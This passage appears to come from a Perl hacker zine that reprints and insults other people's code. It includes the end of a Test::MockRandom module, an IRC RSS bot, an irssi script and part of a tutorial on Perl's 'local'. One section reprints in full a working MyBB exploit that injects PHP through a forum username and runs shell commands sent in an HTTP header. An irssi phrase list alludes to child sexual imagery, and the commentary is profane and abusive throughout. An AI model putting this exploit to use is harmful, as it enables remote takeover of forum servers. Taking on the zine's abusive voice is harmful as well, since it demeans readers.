1752The effect of this function is highly dependent on when it is called in the
1753compile cycle and should usually be called from within a BEGIN block. See
1754L</USAGE> for details.
1755
1756Most users will not need this function.
1757
1758=cut
1759
1760sub export_srand_to {
1761 _export_fcn_to(shift, "srand", @_);
1762}
1763
1764
1765#--------------------------------------------------------------------------#
1766# export_oneish_to()
1767#--------------------------------------------------------------------------#
1768
1769=head2 C<export_oneish_to>
1770
1771 Test::MockRandom->export_oneish_to( 'Some::Class' );
1772 Test::MockRandom->export_oneish_to( 'Some::Class' => 'nearly_one' );
1773
1774This function exports C<oneish> into the specified package namespace. It must
1775be called as a class function. If a second argument is provided, it is taken
1776as the symbol name to use in the other package as the alias for C<oneish>.
1777Since C<oneish> is usually only used in a test script, this function is likely
1778only necessary to alias C<oneish> to some other name in the current package:
1779
1780 use Test::MockRandom 'Some::Class';
1781 BEGIN { Test::MockRandom->export_oneish_to( __PACKAGE__, "one" ); }
1782 use Some::Class;
1783 seed( one() );
1784 print foo(); # prints a value very close to one
1785
1786The effect of this function is highly dependent on when it is called in the
1787compile cycle and should usually be called from within a BEGIN block. See
1788L</USAGE> for details.
1789
1790Most users will not need this function.
1791
1792=cut
1793
1794sub export_oneish_to {
1795 _export_fcn_to(shift, "oneish", @_);
1796}
1797
1798#--------------------------------------------------------------------------#
1799# _export_fcn_to
1800#--------------------------------------------------------------------------#
1801
1802sub _export_fcn_to {
1803 my ($self, $fcn, $pkg, $alias) = @_;
1804 croak "Must call to export_${fcn}_to() as a class method"
1805 unless ( $self eq __PACKAGE__ );
1806 croak("export_${fcn}_to() requires a package name") unless $pkg;
1807 _export_symbol($fcn,$pkg,$alias);
1808}
1809
1810#--------------------------------------------------------------------------#
1811# _export_symbol()
1812#--------------------------------------------------------------------------#
1813
1814sub _export_symbol {
1815 my ($sym,$pkg,$alias) = @_;
1816 $alias ||= $sym;
1817 {
1818 no strict 'refs';
1819 local $^W = 0; # no redefine warnings
1820 *{"${pkg}::${alias}"} = \&{"Test::MockRandom::${sym}"};
1821 }
1822}
1823
1824#--------------------------------------------------------------------------#
1825# _custom_export
1826#--------------------------------------------------------------------------#
1827
1828sub _custom_export {
1829 my ($sym,$custom) = @_;
1830 if ( ref($custom) eq 'HASH' ) {
1831 _export_symbol( $sym, %$custom ); # flatten { pkg => 'alias' }
1832 }
1833 else {
1834 _export_symbol( $sym, $custom );
1835 }
1836}
1837
1838#--------------------------------------------------------------------------#
1839# import()
1840#--------------------------------------------------------------------------#
1841
1842sub import {
1843 my $class = shift;
1844 my $caller = caller(0);
1845
1846 # Nothing exported by default or if empty string
1847 return unless @_;
1848 return if ( @_ == 1 && $_[0] eq '' );
1849
1850 for my $tgt ( @_ ) {
1851 # custom handling if it's a hashref
1852 if ( ref($tgt) eq "HASH" ) {
1853 for my $sym ( keys %$tgt ) {
1854 croak "Unrecognized symbol '$sym'"
1855 unless grep { $sym eq $_ } qw (rand srand oneish);
1856 my @custom = ref($tgt->{$sym}) eq 'ARRAY' ?
1857 @{$tgt->{$sym}} : $tgt->{$sym};
1858 _custom_export( $sym, $_ ) for ( @custom );
1859 }
1860 }
1861 # otherwise, export rand to target and srand/oneish to caller
1862 else {
1863 my $pkg = ($tgt =~ /^__PACKAGE__$/) ? $caller : $tgt; # DWIM
1864 _export_symbol("rand",$pkg);
1865 _export_symbol($_,$caller) for qw( srand oneish );
1866 }
1867 }
1868}
1869
18701; #this line is important and will help the module return a true value
1871__END__
1872
1873=head1 BUGS
1874
1875Please report bugs using the CPAN Request Tracker at
1876
1877http://rt.cpan.org/NoAuth/Bugs.html?Dist=Test-MockRandom
1878
1879=head1 AUTHOR
1880
1881David A Golden <dagolden@cpan.org>
1882
1883http://dagolden.com/
1884
1885=head1 COPYRIGHT
1886
1887Copyright (c) 2004-2005 by David A. Golden
1888
1889This program is free software; you can redistribute
1890it and/or modify it under the same terms as Perl itself.
1891
1892The full text of the license can be found in the
1893LICENSE file included with this module.
1894
1895
1896=head1 SEE ALSO
1897
1898=over
1899
1900=item L<Test::MockObject>
1901
1902=item L<Test::MockModule>
1903
1904=back
1905
1906=cut
1907
1908-[0x0B] # Token PHP Noob -------------------------------------------------
1909
1910use strict;
1911# you can't handle your strict
1912# go back to the documentation
1913
1914##Configuration settings
1915
1916use vars qw ($nick $server $port $channel $rss_url $refresh);
1917# way to avoid strict, moron
1918
1919$nick = 'RSSBot';
1920$server = 'irc.jamscone.com';
1921$port = 6667;
1922$channel = '#jamscone';
1923$rss_url = 'http://www.codingo.net/blog/feed/';
1924$refresh = 30*60;
1925
1926## Premable
1927
1928# what the fuck is premable?
1929# are you dyslexic, skelm?
1930# must be why you stick to php, easy to spell that
1931
1932use POSIX;
1933use Net::IRC;
1934use LWP::UserAgent;
1935use XML::RSS;
1936# keep this at the top
1937
1938## Connection initialization
1939use vars qw ($irc $conn);
1940# this better not be persistent
1941
1942$irc = new Net::IRC;
1943print "Connecting to server ".$server.":".$port." with nick ".$nick."...\n";
1944# quote it all and keep it simple
1945
1946$conn = $irc->newconn (Nick => $nick, Server => $server, Port => $port, Ircname => 'RSS->IRC Gateway IRC hack');
1947# thank you, thank you for not quoting
1948# please tell me that you didn't just steal that line from Net::IRC docs
1949
1950# Connect event handler - we immediately try to join our channel
1951sub on_connect {
1952 my ($self, $event) = @_;
1953 print "Joining channel ".$channel."...\n";
1954 $self->join ($channel);
1955# this is stolen too, are your comments even your own?
1956}
1957
1958$conn->add_handler ('endofnames', \&on_joined);
1959
1960# Custom CTCP version request
1961sub on_cversion {
1962 my ($self, $event) = @_;
1963 $self->ctcp_reply ($event->nick, 'VERSION RSS->RSS Notify');
1964}
1965
1966$conn->add_handler('cversion', \&on_cversion);
1967
1968## The RSS Feed
1969use vars qw (@items);
1970
1971# Fetches the RSS from server and returns a list of items
1972sub fetch_rss {
1973 my $ua = LWP::UserAgent->new (env_proxy => 1, keep_alive => 1, timeout => 30);
1974 my $request = HTTP::Request->new('GET', $rss_url);
1975 my $response = $ua->request ($request);
1976 return unless ($response->is_success);
1977# you could just use LWP::Simple::get()
1978 my $data = $response->content;
1979 my $rss = new XML::RSS ();
1980 $rss->parse($data);
1981 foreach my $item (@{$rss->{items}}) {
1982 # I personally guarantee you didn't write that yourself
1983 # Make sure to strip any possible newlines and similar stuff
1984 $item->{title} =~ s/\s/ /g;
1985 }
1986
1987 return @{$rss->{items}};
1988}
1989
1990# Attempts to find some newly appeared RSS Items
1991sub delta_rss {
1992 my ($old, $new) = @_;
1993
1994 # If @$old is empty, it means this is the first run and we will therefore not do anything
1995
1996 return () unless ($old and @$old);
1997# return () unless @$old;
1998 # We take the first item of @$old and find it in @$new.
1999 # Then anything before its position in @$new are the newly appeared items which we return.
2000
2001 my $sync = $old->[0];
2002
2003 # If it is at the start of @$new, nothing has changed
2004
2005 return () if ($sync->{title} eq $new->[0]->{title});
2006
2007 my $item;
2008 for ($item = 1; $item < @$new; $item++) {
2009 # for my $item (1 .. @$new) { # at least!
2010 # We are comparing the title whcih might not be 100% reliable but
2011 # RSS streams really should not contain multiple items with the same title
2012
2013 last if ($sync->{title} eq $new->[$item]->{title});
2014 }
2015
2016 return @$new[0 .. $item - 1];
2017 # you do know ..
2018 # ignorance was never an excuse!
2019}
2020
2021# Check RSS feed periodically.
2022sub check_rss {
2023 my (@new_items);
2024 # why? why?
2025 print "Checking RSS feed [".$rss_url."]...\n"; # could just keep $rss_url in the quotes
2026 @new_items = fetch_rss ();
2027 if (@new_items) {
2028 my @delta = delta_rss (\@items, \@new_items);
2029 foreach my $item (reverse @delta) {
2030 $conn ->privmsg ($channel, '"'.$item->{title}.'" :: '.$item->{link});
2031 }
2032 @item = @new_items;
2033 }
2034alarm $refresh;
2035}
2036
2037$SIG{ALRM} = \&check_rss;
2038# three cheers for signals
2039check_rss();
2040
2041# Fire up the IRC loop
2042$irc->start;
2043# yes, let's get this party started
2044
2045-[0x0C] # Hello bantown --------------------------------------------------
2046
2047What's nice about bantown is that they are relatively competent. They get shit done.
2048They aren't all talk. Despite the repulsive exterior, these guys do shit. What
2049particularly attaches our sympathies to them is that they use quality Perl scripts
2050and give credit to them. This script isn't perfect, but its pretty nice, and of course
2051gets the job done. It's very tempting to criticize this code, but I will refrain
2052because this is the worst of the scripts they advertise, but the smallest to include.
2053Here's to bantown and classy idiocy!
2054
2055#
2056# aol.pl adapted from aol.scr
2057#
2058# author: cj_ <rover@gruntle.org>
2059#
2060#/aolsay [to send a random aolsay to the channel
2061#/colaolsay [colorize above]
2062#/aolmsg <nick> [to send a random aolmsg to <nick>
2063#/aoltopic [to set a random aoltopic on the channel
2064#/aolkick <nick> [to kick an aol lamer with a random aolkick msg
2065#
2066
2067use Irssi;
2068use Irssi::Irc;
2069use strict;
2070
2071our $VERSION = "0.02";
2072
2073###############################
2074# these are the main commands #
2075###############################
2076
2077sub aolsay { _aolsay("", @_) }
2078sub colaolsay { _aolsay("r", @_) }
2079sub aolkick { _aolkick("", @_) }
2080sub colaolkick { _aolkick("r", @_) }
2081
2082sub _aolsay {
2083 my ($flags, $text, $server, $dest) = @_;
2084
2085 if (!$server || !$server->{connected}) {
2086 Irssi::print("Not connected to server");
2087 return;
2088 }
2089
2090 return unless $dest;
2091
2092 my $phrases = phrases();
2093 my $resp = $$phrases[int(rand(0) * scalar(@$phrases))];
2094
2095 $resp = rainbow($resp) if $flags =~ /r/i;
2096
2097 foreach my $line (split(/\n/, $resp)) {
2098 if ($dest->{type} eq "CHANNEL" || $dest->{type} eq "QUERY") {
2099 $dest->command("/msg " . $dest->{name} . " " . $line);
2100 }
2101 }
2102}
2103
2104sub _aolkick {
2105 my ($flags, $text, $server, $dest) = @_;
2106
2107 if (!$server || !$server->{connected}) {
2108 Irssi::print("Not connected to server");
2109 return;
2110 }
2111
2112 return unless $dest;
2113
2114 my $phrases = phrases();
2115 my $resp = $$phrases[int(rand(0) * scalar(@$phrases))];
2116
2117 $resp = rainbow($resp) if $flags =~ /r/i;
2118
2119 $dest->command("KICK $text $resp");
2120}
2121
2122sub rainbow {
2123 # take text and make it colorful
2124 my $text = shift;
2125 my $row = 0;
2126 my @colormap = _colormap();
2127 my $newtext;
2128
2129 foreach my $line (split(/\n/, $text)) {
2130 for (my $i = 0; $i < length($line); $i++) {
2131 my $chr = substr($line, $i, 1);
2132 my $color = $i + $row;
2133 $color = $color ? $colormap[$color %($#colormap-1)] : $colormap[0];
2134 $newtext .= "\003$color" unless ($chr =~ /\s/);
2135 my $ord = ord($chr);
2136 if (($ord >= 48 and $ord <= 57) or $ord == 44) {
2137 $newtext .= "\26\26";
2138 }
2139 $newtext .= $chr;
2140 }
2141 $newtext .= "\n";
2142 $row++;
2143 }
2144
2145 return $newtext;
2146}
2147
2148sub _colormap {
2149 # just data for the rainbow routine
2150 my @colormap = (
2151 4,4,
2152 7,7,
2153 5,5,
2154 8,8,
2155 9,9,
2156 3,3,
2157 10,10,
2158 11,11,
2159 12,12,
2160 2,2,
2161 6,6,
2162 13,13,
2163 );
2164
2165 return @colormap;
2166}
2167
2168
2169# command bindings
2170Irssi::command_bind("aolsay", \&aolsay);
2171Irssi::command_bind("colaolsay", \&colaolsay);
2172#Irssi::command_bind("aolmsg", \&aolmsg);
2173#Irssi::command_bind("aoltopic", \&aoltopic);
2174Irssi::command_bind("aolkick", \&aolkick);
2175Irssi::command_bind("colaolkick", \&colaolkick);
2176
2177sub phrases {
2178 my @phrases = (
2179 'ALL OREAND THE GIFCHERRY BUSH DA BOON CHASED DA WHEASELGIFPASTECLITNUGGET SHIT]',
2180 'PHRASES CUT OUT DUE TO LACK OF RELEVANCE',
2181 'KEWLI0, EYEV BIN WAITNIG FER J00, WHERE ARE DOZE KIDDIESEXGIFOGRAFZ DAT J00 SAID J00D GIB MEE???/?',
2182 );
2183
2184 return \@phrases;
2185}
2186
2187-[0x0D] # !dSR !good -----------------------------------------------------
2188
2189We avoid attacking the same targets. HOWEVER, this is fresh code, and it still isn't good, so you deserve it.
2190
2191#!/usr/bin/perl
2192# Tue Jun 13 12:37:12 CEST 2006 jolascoaga@514.es
2193#
2194# Exploit HOWTO - read this before flood my Inbox you bitch!
2195#
2196# - First you need to create the special user to do this use:
2197# ./mybibi.pl --host=http://www.example.com --dir=/mybb -1
2198# this step needs a graphic confirmation so the exploit writes a file
2199# in /tmp/file.png, you need to
2200# see this img and put the text into the prompt. If everything is ok,
2201# you'll have a new valid user created.
2202# * There is a file mybibi_out.html where the exploit writes the output
2203# for debugging.
2204# - After you have created the exploit or if you have a valid non common
2205# user, you can execute shell commands.
2206#
2207# TIPS:
2208# * Sometimes you have to change the thread Id, --tid is your friend ;)
2209# * Don't forget to change the email. You MUST activate the account.
2210# * Mejor karate aun dentro ti.
2211#
2212# LIMITATIONS:
2213# * If the admin have the username lenght < 28 this exploit doesn't works
2214#
2215# Greetz to !dSR ppl and unsec
2216#
2217# 514 still r0xing!
2218
2219# learn how to use POD, asshole
2220
2221# user config.
2222my $uservar = "C"; # don't use large vars.
2223my $password = "514r0x";
2224my $email = "514\@mailinator.com";
2225# I wonder how many days you spent figuring out how to escape the @ ;]
2226
2227use LWP::UserAgent;
2228use HTTP::Cookies;
2229use LWP::Simple;
2230use HTTP::Request::Common "POST";
2231use HTTP::Response;
2232use Getopt::Long;
2233use strict;
2234
2235$| = 1; # you can choose this or another one.
2236# the other one being...0? You realize this variable only holds those two values, right?
2237
2238# Sweet, all randomly ordered in no way consistent with how they're used!
2239
2240my ($proxy,$proxy_user,$proxy_pass, $username);
2241my ($host,$debug,$dir, $command, $del, $first_time, $tid);
2242my ($logged, $tid) = (0, 2);
2243
2244$username = "'.system(getenv(HTTP_".$uservar.")).'";
2245
2246my $options = GetOptions (
2247 'host=s' => \$host,
2248 'dir=s' => \$dir,
2249 'proxy=s' => \$proxy,
2250 'proxy_user=s' => \$proxy_user,
2251 'proxy_pass=s' => \$proxy_pass,
2252 'debug' => \$debug,
2253 '1' => \$first_time,
2254 'tid=s' => \$tid,
2255 'delete' => \$del);
2256
2257# 1 is not a good option
2258
2259&help unless ($host); # please don't try this at home.
2260# yes, don't.
2261# help() unless $host;
2262
2263$dir = "/" unless($dir);
2264# drop the parens bitch
2265
2266print "$host - $dir\n";
2267if ($host !~ /^http/) {
2268 $host = "http://".$host;
2269}
2270
2271LWP::Debug::level('+') if $debug;
2272my ($res, $req);
2273
2274my $ua = new LWP::UserAgent(
2275 cookie_jar=> { file => "$$.cookie" });
2276$ua->agent("Mothilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
2277$ua->proxy(['http'] => $proxy) if $proxy;
2278$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
2279
2280create_user() if $first_time;
2281# see, there you go!
2282
2283while () {
2284 login() if !$logged;
2285
2286 print "mybibi> "; # lost connection
2287 while(<STDIN>) {
2288 $command=$_;
2289 chomp($command);
2290 last;
2291 }
2292 # chomp(my $command = <STDIN>); # you fucking noob
2293 &send($command);
2294}
2295
2296sub send {
2297 chomp (my $cmd = shift);
2298 my $h = $host.$dir."/newthread.php";
2299 my $req = POST $h, [
2300 'subject' => '514', # neg on the quoting
2301 'message' => '/slap 514',
2302 'previewpost' => 'Preview Post',
2303 'action' => 'do_newthread',
2304 'fid' => $tid,
2305 'posthash' => 'e0561b22fe5fdf3526eabdbddb221caa'
2306 ];
2307 $req->header($uservar => $cmd);
2308 print $req->as_string() if $debug;
2309 my $res = $ua->request($req);
2310 if ($res->content =~ /You may not post in this/) {
2311 print "[!] don't have perms to post. Change the Forum ID\n";
2312 } else {
2313 my ($data) = $res->content =~ m/(.*?)\<\!DOCT/is;
2314 # still with the rat nasty regex
2315 print $data;
2316 }
2317
2318}
2319sub login {
2320 my $h = $host.$dir."/member.php";
2321 my $req = POST $h,[
2322 'username' => $username,
2323 'password' => $password,
2324 'submit' => 'Login',
2325 'action' => 'do_login'
2326 ];
2327 my $res = $ua->request($req);
2328 if ($res->content =~ /You have successfully been logged/is) {
2329 # there are also useful string commands like index()
2330 print "[*] Login succesful!\n";
2331 $logged = 1;
2332 } else {
2333 print "[!] Error login-in\n";
2334 }
2335 # damn, this sub wasn't even bad!
2336}
2337
2338sub help {
2339 print "Syntax: ./$0 --host=url --dir=/mybb [options] -1 --tid=2\n";
2340 print "\t--proxy (http), --proxy_user, --proxy_pass\n";
2341 print "\t--debug\n";
2342 print "the default directory is /\n";
2343 print "\nExample\n";
2344 print "bash# $0 --host=http(s)://www.server.com/\n";
2345 print "\n";
2346 exit(1);
2347 # use heredocs, and keep your spacing consistent with other code
2348}
2349
2350sub create_user {
2351 # firs we need to get the img.
2352 my $h = $host.$dir."/member.php";
2353 print "Host: $h\n";
2354
2355 $req = HTTP::Request->new (GET => $h."?action=register");
2356 $res = $ua->request ($req);
2357
2358 my $req = POST $h, [
2359 'action' => "register",
2360 'agree' => "I Agree"
2361 ];
2362 print $req->as_string() if $debug;
2363 $res = $ua->request($req);
2364
2365 my $content = $res->content();
2366 # unnecessary .* sitting around
2367 # read the fucking manual and learn regex
2368 # perldoc perlre
2369 # perldoc perlretut
2370 # perldoc perlrequick
2371 # perldoc perlreref
2372 $content =~ m/.*(image\.php\?action.*?)\".*/is;
2373 my $img = $1;
2374 # you didn't see our trick last time?
2375 my $req = HTTP::Request->new (GET => $host.$dir."/".$img);
2376 $res = $ua->request ($req);
2377 print $req->as_string();
2378
2379 if ($res->content) {
2380 open (TMP, ">/tmp/file.png") or die($!);
2381 print TMP $res->content;
2382 close (TMP);
2383 # UGLY
2384 print "[*] /tmp/file.png created.\n";
2385 }
2386
2387 my ($hash) = $img =~ m/hash=(.*?)$/;
2388 # see, you know this trick
2389
2390 my $img_str = get_img_str();
2391 unlink ("/tmp/file.png");
2392 $img_str =~ s/\n//g;
2393 my $req = POST $h, [
2394 'username' => $username,
2395 'password' => $password,
2396 'password2' => $password,
2397 'email' => $email,
2398 'email2' => $email,
2399 'imagestring' => $img_str,
2400 'imagehash' => $hash,
2401 'allownotices' => 'yes',
2402 'receivepms' => 'yes',
2403 'pmpopup' => 'no',
2404 'action' => "do_register",
2405 'regsubmit' => "Submit Registration"
2406 ];
2407 $res = $ua->request($req);
2408 print $req->as_string() if $debug;
2409
2410 open (OUT, ">mybibi_out.html");
2411 print OUT $res->content;
2412
2413 print "Check $email for confirmation or mybibi_out.html if there are some error\n";
2414}
2415
2416sub get_img_str ()
2417{
2418 print "\nNow I need the text shown in /tmp/file.png: ";
2419 my $str = <STDIN>;
2420 return $str;
2421}
2422exit 0;
2423
2424This comes across as shitty code, with little bits that you stole from coders that actually know how to code.
2425
2426-[0x0E] # School You: MJD ------------------------------------------------
2427
2428Introduction
2429
2430In my article Coping With Scoping I offered the advice ``Always use my; never use local.'' The most
2431common use for both is to provide your subroutines with private variables, and for this application
2432you should always use my, and never local. But many readers (and the tech editors) noted that local
2433isn't entirely useless; there are cases in which my doesn't work, or doesn't do what you want. So I
2434promised a followup article on useful uses for local. Here they are.
2435
24361. Special Variables
2437
2438my makes most uses of local obsolete. So it's not surprising that the most common useful uses of
2439local arise because of peculiar cases where my happens to be illegal.
2440
2441The most important examples are the punctuation variables such as $", $/, $^W, and $_. Long ago
2442Larry decided that it would be too confusing if you could my them; they're exempt from the normal
2443package scheme for the same reason. So if you want to change them, but have the change apply to
2444only part of the program, you'll have to use local.
2445
2446As an example of where this might be useful, let's consider a function whose job is to read in an
2447entire file and return its contents as a single string:
2448
2449
2450 sub getfile {
2451 my $filename = shift;
2452 open F, "< $filename" or die "Couldn't open `$filename': $!";
2453 my $contents = '';
2454 while (<F>) {
2455 $contents .= $_;
2456 }
2457 close F;
2458 return $contents;
2459 }
2460
2461This is inefficient, because the <F> operator makes Perl go to all the trouble of breaking the file
2462into lines and returning them one at a time, and then all we do is put them back together again.
2463It's cheaper to read the file all at once, without all the splitting and reassembling. (Some people
2464call this slurping the file.) Perl has a special feature to support this: If the $/ variable is
2465undefined, the <...> operator will read the entire file all at once:
2466
2467
2468 sub getfile {
2469 my $filename = shift;
2470 open F, "< $filename" or die "Couldn't open `$filename': $!";
2471 $/ = undef; # Read entire file at once
2472 $contents = <F>; # Return file as one single `line'
2473 close F;
2474 return $contents;
2475 }
2476
2477There's a terrible problem here, which is that $/ is a global variable that affects the semantics
2478of every <...> in the entire program. If getfile doesn't put it back the way it was, some other
2479part of the program is probably going to fail disastrously when it tries to read a line of input
2480and gets the whole rest of the file instead. Normally we'd like to use my, to make the change local
2481to the functions. But we can't here, because my doesn't work on punctuation variables; we would get
2482the error
2483
2484
2485 Can't use global $/ in "my" ...
2486
2487if we tried. Also, more to the point, Perl itself knows that it should look in the global variable
2488$/ to find the input record separator; even if we could create a new private varible with the same
2489name, Perl wouldn't know to look there. So instead, we need to set a temporary value for the global
2490variable $/, and that is exactly what local does:
2491
2492
2493 sub getfile {
2494 my $filename = shift;
2495 open F, "< $filename" or die "Couldn't open `$filename': $!";
2496 local $/ = undef; # Read entire file at once
2497 $contents = <F>; # Return file as one single `line'
2498 close F;
2499 return $contents;
2500 }
2501
2502The old value of $/ is restored when the function returns. In this example, that's enough for
2503safety. In a more complicated function that might call some other functions in a library somewhere,
2504we'd still have to worry that we might be sabotaging the library with our strange $/. It's probably
2505best to confine changes to punctuation variables to the smallest possible part of the program:
2506
2507
2508 sub getfile {
2509 my $filename = shift;
2510 open F, "< $filename" or die "Couldn't open `$filename': $!";
2511 my $contents;
2512 { local $/ = undef; # Read entire file at once
2513 $contents = <F>; # Return file as one single `line'
2514 } # $/ regains its old value
2515 close F;
2516 return $contents;
2517 }
2518
2519This is a good practice, even for simple functions like this that don't call any other subroutines.
2520By confining the changes to $/ to just the one line we want to affect, we've prevented the
2521possibility that someone in the future will insert some calls to other functions that will break
2522because of the change. This is called defensive programming.
2523
2524Although you may not think about it much, localizing $_ this way can be very important. Here's a
2525slightly different version of getfile, one which throws away comments and blank lines from the file
2526that it gets:
2527
2528
2529 sub getfile {
2530 my $filename = shift;
2531 local *F;
2532 open F, "< $filename" or die "Couldn't open `$filename': $!";
2533 my $contents;
2534 while (<F>) {
2535 s/#.*//; # Remove comments
2536 next unless /\S/; # Skip blank lines
2537 $contents .= $_; # Save current (nonblank) line
2538 }
2539 return $contents;
2540 }
2541
2542This function has a terrible problem. Here's the terrible problem: If you call it like this:
2543
2544
2545 foreach (@array) {
2546 ...
2547 $f = getfile($filename);
2548 ...
2549 }
2550
2551it clobbers the elements of @array. Why? Because inside a foreach loop, $_ is aliased to the
2552elements of the array; if you change $_, it changes the array. And getfile does change $_. To
2553prevent itself from sabotaging the $_ of anyone who calls it, getfile should have local $_ at the
2554top.
2555
2556Other special variables present similar problems. For example, it's sometimes convenient to change
2557$", $,, or $\ to alter the way print works, but if you don't arrange to put them back the way they
2558were before you call any other functions, you might get a big disaster:
2559
2560# Good style:
2561{ local $" = ')(';
2562 print ''Array a: (@a)\n``;
2563}
2564# Program continues safely...
2565
2566Another common situation in which you want to localize a special variable is when you want to
2567temporarily suppress warning messages. Warnings are enabled by the -w command-line option, which in
2568turn sets the variable $^W to a true value. If you reset $^W to a false value, that turns the
2569warnings off. Here's an example: My Memoize module creates a front-end to the user's function and
2570then installs it into the symbol table, replacing the original function. That's what it's for, and
2571it would be awfully annyoying to the user to get the warning
2572
2573
2574 Subroutine factorial redefined at Memoize.pm line 113
2575
2576every time they tried to use my module to do what it was supposed to do. So I have
2577
2578
2579 {
2580 local $^W = 0; # Shut UP!
2581 *{$name} = $tabent->{UNMEMOIZED}; # Otherwise this issues a warning
2582 }
2583
2584which turns off the warning for just the one line. The old value of $^W is automatically restored
2585after the chance of getting the warning is over.
2586
25872. Localized Filehandles
2588
2589Let's look back at that getfile function. To read the file, it opened the filehandle F. That's
2590fine, unless some other part of the program happened to have already opened a filehandle named F,
2591in which case the old file is closed, and when control returns from the function, that other part
2592of the program is going to become very confused and upset. This is the `filehandle clobbering
2593problem'.
2594
2595This is exactly the sort of problem that local variables were supposed to solve. Unfortunately,
2596there's no way to localize a filehandle directly in Perl.
2597
2598Well, that's actually a fib. There are three ways to do it:
2599You can cast a magic spell in which you create an anonymous glob, extract the filehandle from it,
2600and discard the rest of the glob.
2601
2602You can use the Filehandle or IO::Handle modules, which cast the spell I just described, and
2603present you with the results, so that you don't have to perform any sorcery yourself.
2604
2605See below.
2606
2607The simplest and cheapest way to solve the `filehandle clobbering problem' is a little bit obscure.
2608You can't localize the filehandle itself, but you can localize the entry in Perl's symbol table
2609that associates the filehandle's name with the filehandle. This entry is called a `glob'. In Perl,
2610variables don't have names directly; instead the glob has a name, and the glob gathers together the
2611scalar, array, hash, subroutine, and filehandle with that name. In Perl, the glob named F is
2612denoted with *F.
2613
2614To localize the filehandle, we actually localize the entire glob, which is a little hamfisted:
2615
2616
2617 sub getfile {
2618 my $filename = shift;
2619 local *F;
2620 open F, "< $filename" or die "Couldn't open `$filename': $!";
2621 local $/ = undef; # Read entire file at once
2622 $contents = <F>; # Return file as one single `line'
2623 close F;
2624 return $contents;
2625 }
2626
2627local on a glob does the same as any other local: It saves the current value somewhere, creates a
2628new value, and arranges that the old value will be restored at the end of the current block. In
2629this case, that means that any filehandle that was formerly attached to the old *F glob is saved,
2630and the open will apply to the filehandle in the new, local glob. At the end of the block,
2631filehandle F will regain its old meaning again.
2632
2633This works pretty well most of the time, except that you still have the usual local worries about
2634called subroutines changing the localized values on you. You can't use my here because globs are
2635all about the Perl symbol table; the lexical variable mechanism is totally different, and there is
2636no such thing as a lexical glob.
2637
2638With this technique, you have the new problem that getfile() can't get at $F, @F, or %F either,
2639because you localized them all, along with the filehandle. But you probably weren't using any
2640global variables anyway. Were you? And getfile() won't be able to call &F, for the same reason.
2641There are a few ways around this, but the easiest one is that if getfile() needs to call &F, it
2642should name the local filehandle something other than F.
2643
2644use FileHandle does have fewer strange problems. Unfortunately, it also sucks a few thousand lines
2645of code into your program. Now someone will probably write in to complain that I'm exaggerating,
2646because it isn't really 3,000 lines, some of those are white space, blah blah blah. OK, let's say
2647it's only 300 lines to use FileHandle, probably a gross underestimate. It's still only one line to
2648localize the glob. For many programs, localizing the glob is a good, cheap, simple way to solve the
2649problem.
2650
2651Localized Filehandles, II
2652
2653When a localized glob goes out of scope, its open filehandle is automatically closed. So the close
2654F in getfile is unnecessary:
2655
2656
2657 sub getfile {
2658 my $filename = shift;
2659 local *F;
2660 open F, "< $filename" or die "Couldn't open `$filename': $!";
2661 local $/ = undef; # Read entire file at once
2662 return <F>; # Return file as one single `line'
2663 } # F is automatically closed here
2664
2665That's such a convenient feature that it's worth using even when you're not worried that you might
2666be clobbering someone else's filehandle.
2667
2668The filehandles that you get from FileHandle and IO::Handle do this also.
2669
2670Marginal Uses of Localized Filehandles
2671
2672As I was researching this article, I kept finding common uses for local that turned out not to be
2673useful, because there were simpler and more straightforward ways to do the same thing without using
2674local. Here is one that you see far too often:
2675
2676People sometimes want to pass a filehandle to a subroutine, and they know that you can pass a
2677filehandle by passing the entire glob, like this:
2678
2679
2680 $rec = read_record(*INPUT_FILE);
2681
2682
2683 sub read_record {
2684 local *FH = shift;
2685 my $record;
2686 read FH, $record, 1024;
2687 return $record;
2688 }
2689
2690Here we pass in the entire glob INPUT_FILE, which includes the filehandle of that name. Inside of
2691read_record, we temporarily alias FH to INPUT_FILE, so that the filehandle FH inside the function
2692is the same as whatever filehandle was passed in from outside. The when we read from FH, we're
2693actually reading from the filehandle that the caller wanted. But actually there's a more
2694straightforward way to do the same thing:
2695
2696
2697 $rec = read_record(*INPUT_FILE);
2698
2699
2700 sub read_record {
2701 my $fh = shift;
2702 my $record;
2703 read $fh, $record, 1024;
2704 return $record;
2705 }
2706
2707You can store a glob into a scalar variable, and you can use such a variable in any of Perl's I/O
2708functions wherever you might have used a filehandle name. So the local here was unnecessary.
2709
2710Dirhandles
2711
2712Filehandles and dirhandles are stored in the same place in Perl, so everything this article says
2713about filehandles applies to dirhandles in the same way.
2714
27153. The First-Class Filehandle Trick
2716
2717Often you want to put filehandles into an array, or treat them like regular scalars, or pass them
2718to a function, and you can't, because filehandles aren't really first-class objects in Perl. As
2719noted above, you can use the FileHandle or IO::Handle packages to construct a scalar that acts
2720something like a filehandle, but there are some definite disadvantages to that approach.
2721
2722Another approach is to use a glob as a filehandle; it turns out that a glob will fit into a scalar
2723variable, so you can put it into an array or pass it to a function. The only problem with globs is
2724that they are apt to have strange and magical effects on the Perl symbol table. What you really
2725want is a glob that has been disconnected from the symbol table, so that you can just use it like a
2726filehandle and forget that it might once have had an effect on the symbol table. It turns out that
2727there is a simple way to do that:
2728
2729
2730 my $filehandle = do { local *FH };
2731
2732do just introduces a block which will be evaluated, and will return the value of the last
2733expression that it contains, which in this case is local *FH. The value of local *FH is a glob. But
2734what glob?
2735
2736local takes the existing FH glob and temporarily replaces it with a new glob. But then it
2737immediately goes out of scope and puts the old glob back, leaving the new glob without a name. But
2738then it returns the new, nameless glob, which is then stored into $filehandle. This is just what we
2739wanted: A glob that has been disconnected from the symbol table.
2740
2741You can make a whole bunch of these, if you want:
2742
2743
2744 for $i (0 .. 99) {
2745 $fharray[$i] = do { local *FH };
2746 }
2747
2748You can pass them to subroutines, return them from subroutines, put them in data structures, and
2749give them to Perl's I/O functions like open, close, read, print, and <...> and they'll work just
2750fine.
2751
27524. Aliases
2753
2754Globs turn out to be very useful. You can assign an entire glob, as we saw above, and alias an
2755entire symbol in the symbol table. But you don't have to do it all at once. If you say
2756
2757
2758 *GLOB = $reference;
2759
2760then Perl only changes the meaning of part of the glob. If the reference is a scalar reference, it
2761changes the meaning of $GLOB, which now means the same as whatever scalar the reference referred
2762to; @GLOB, %GLOB and the other parts don't change at all. If the reference is a hash reference,
